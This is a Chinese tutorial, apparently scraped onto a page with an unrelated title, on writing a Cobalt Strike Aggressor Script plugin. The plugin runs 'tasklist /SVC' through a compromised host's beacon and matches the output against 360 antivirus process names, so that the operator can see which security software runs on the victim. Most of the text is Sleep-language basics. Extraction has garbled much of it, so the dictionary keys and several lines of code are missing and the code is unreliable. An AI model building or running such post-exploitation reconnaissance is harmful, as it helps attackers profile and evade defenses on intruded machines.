cs1 6作弊器-打印机共享设置

zhudongfangyu exe
2023年3月31日发(作者:kb905474)

CobaltStrike插件编写⼊门教程

作者:飞天魔⿁

免责声明:本⽂仅供学习研究,严禁从事⾮法活动,任何后果由使⽤者本⼈负责。

简介

这篇⽂章主要以写⼀个判断beacon中存在的杀软进程脚本为例⼦来介绍如何去尝试从零开始写⼀个cobaltstrike插件。

cobaltstrike中aggressor-script是建⽴在sleep脚本之上,本篇⽂章涉及简单的sleep脚本基础,和cobaltstrike内置函数和事件的调⽤。

先看效果:

参考链接:

/aggressor-script/

/manual/

0x01sleep脚本基础

脚本中的array类型

在sleep脚本中使⽤@关键字来定义⼀个array,例如定义⼀个@foo,即为定义⼀个名称为foo的array。这⾥的array类似于js中的array,

在array中可以向⾥⾯添加int或者string甚⾄是⼀个object。

$x=3;

@foo[0]="Raphael";

@foo[1]=42.5;

@foo[2]="Donatello";

@foo[$x]="Michelangelo";

上⾯的例⼦⾸先定义⼀个普通变量x的值为3,然后定义了⼀个名称为foo的列表。在列表中添加了string类型的Raphael、Donatello、

Michelangelo的值和⼀个int类型的42.5。

脚本中的hashes类型

在sleep脚本中,如果我们想使⽤类似其他语⾔中字典的功能,那就要⽤到sleep中的hashes类型,这种类型使⽤%符号来声明变量。

$x=3;

%foo["name"]="Raphael";

%foo["job"]="wastingtime";

%foo[$x]="Michelangelo";

println("%foois:".%foo);

%foois:%(3=>'Michelangelo',job=>'wastingtime',name=>'Raphael')

%hash=%(a=>"apple",b=>"boy",c=>3*(9%7));

println("%hashis:".%hash);

%hashis:%(a=>'apple',c=>6,b=>'boy')

上⾯的例⼦就是定义了⼀个类似于其他语⾔中的字典变量。当然我们需要判断beacon中的杀软进程时,⼀个⽅法就是⾸先定义杀软进程名

以及对应的杀软名称为key和value的hashes变量。将beacon中的进程导出然后对照该字典中是否存在我们已经⾸先定义好的字典中的key

去寻找杀软名称。

eAt函数的使⽤

replaceAt("string","new",index,[n])

这个函数的使⽤⽅法是⽤new字符串替换从指定索引开始的n个字符。

例如:

$string="thisisatest,really";

$string=replaceAt($string,"drill",10,4);

println($string);

thisisadrill,really

这⼏⾏代码替换了string中的从第10个索引开始的4个字符,从第10个索引开始的4个字符为test,将其替换成了drill。

函数的使⽤

@split('pattern',"string",[limit])

该函数的作⽤是按指定模式拆分指定字符串,然后其返回⼀个array数组。

其中的string是你想拆分的字符串;pattern是定义⼀个你想拆分的模式,可以使⽤正则表达式,也可以使⽤特定的字符或者字符串;limit

为可选参数,这个参数的作⽤是限制将句⼦分割成的段数,⼀般⽤不到。

中的foreach循环遍历

在我们操作array或者hashes的时候,经常需要循环遍历其中的所有变量。和⼤多数⼀⼀样,sleep脚本也提供了foreach操作,该操作可

以将带有键值对的变量中的key和value循环遍历出来。

%data=%(foo=>"a",bar=>"b",baz=>"c",jaz=>"d");

foreach$key=>$value(%data)

{

if($valueeq"c")

{

$value="coolios";

}

}

println(%data);

%(foo=>'a',baz=>'coolios',bar=>'b',jaz=>'d')

@data=@(8,7,6,5,4,3,2,1,0);

foreach$index=>$value(@data)

{

if($index==$value)

{

println("$index==$value");

remove();

}

}

println(@data);

4==4

@(8,7,6,5,3,2,1,0)

0x02aggressor-script中需要⽤的内置事件和函数

_bottom

在操作beacon时,我们经常选择我们想要操作的beacon右键然后点击菜单再选择相应的menu进⾏插件操作,⽽beacon_bottom的作⽤

就是当我们在当前beacon操作时获得我们当前beacon的ID。

我们可以在之后的menu或者item中在再加我们想要的菜单或者是item。

popupbeacon_bottom{

menu"antiVirusCheck"{

item"check"{

}

}

}

如上⾯的例⼦,我们就添加完成了⼀个菜单为antiVirusCheck,其中的item为check,效果如下所⽰:

函数的使⽤

阅读coblatstrike官⽅⽂档可以看到,bshell函数的作⽤是使⽤beacon中的来执⾏命令,其中的参数$1即为需要执⾏命令的

beaconID,⽽beaconID我们可以通过前⾯的beacon_bottom来获取。

第⼆个参数为需要执⾏的命令。例如我们想获取当前beacon的所有进程,可以使⽤以下⽅法:

popupbeacon_bottom{

menu"antiVirusCheck"{

item"check"{

bshell($1,"tasklist/SVC");

}

}

}

然后我们就可以在当前beacon的控制台看到我们执⾏了tasklist/SVC这条命令。

_output事件

当我们从beacon中执⾏命令获取到了beacon的返回消息之后想要捕获这条消息来进⾏下⼀步的操作时,就需要⽤的beacon_output事件

了,该事件的说明可以在官⽅⽂档中查看:

可以看到$2变量即为我们想获得的返回信息。

popupbeacon_bottom{

menu"antiVirusCheck"{

item"check"{

bshell($1,"tasklist/SVC");

onbeacon_output{

$message=$2;

@array=split("",$message);

println(@array);

}

}

}

}

将代码修改成上述格式之后,在控制台中输出验证是否捕获到了beacon控制台的输出。将返回的message做⼀个简单的处理然后在脚本控

制台输出:

可以看到,脚本确实捕获到了beacon控制台的输出,然后进⾏了我们的split的操作并且在脚本控制台输出了出来。只不过这⾥分割之后可

能有些问题,不过不⽤担⼼,可以使⽤⼀系列sleep脚本的其他操作来对获得到的数据进⾏清洗。

函数

这个函数没什么好说的,就是在eventlog栏中输出字符串

0x03简易脚本代码

popupbeacon_bottom{

menu"antiVirusCheck"{

item"check"{

%sr=%(

""=>"360安全卫⼠-实时保护",

"":=>"360安全卫⼠-主程序",

""=>"360安全卫⼠-主动防御",

""=>"360杀毒",

);

bshell($1,"tasklist/SVC");

onbeacon_output{

$message=$2;

@array=split("",$message);

@data=remove(@array,"");

foreach$key=>$value(@data){

@data[$key]=replaceAt($value,"",0,2);

}

@data=remove(@array,"");

foreach$key=>$value(@data){

@data[$key]=""".$value.""";

}

$string1="strat:";

foreach$value(@data){

$string1=$string1.$value;

}

foreach$key(%sr){

if($keyisin$string1){

println("cBThereisantiVirus:".%sr[$key]."=>IPaddress:".binfo($1)['internal']);

elog("cBThereisantiVirus:".%sr[$key]."=>IPaddress:".binfo($1)['internal']);

}

}

}

}

}

}

0x04项⽬地址

由于杀毒软件的字典太⼤了,这⾥仅仅使⽤360的进程名称作为⽰例。

具体的操作为,先执⾏beshell函数从beacon中获取进程列表的字符串,然后按照⼀定的流程对字符串进⾏拆分获取到单个的进程名称。然

后使⽤单个的进程名称和我们预先定义好的字典⾥的杀软进程进⾏对⽐,如果存在那么就会在脚本控制台和event控制台中输出当前存在的

杀软。

0x05总结

后续会发布基于灼剑安全团队的CS插件1.0版本,请⼤家继续关注我们哟。

更多推荐

zhudongfangyu exe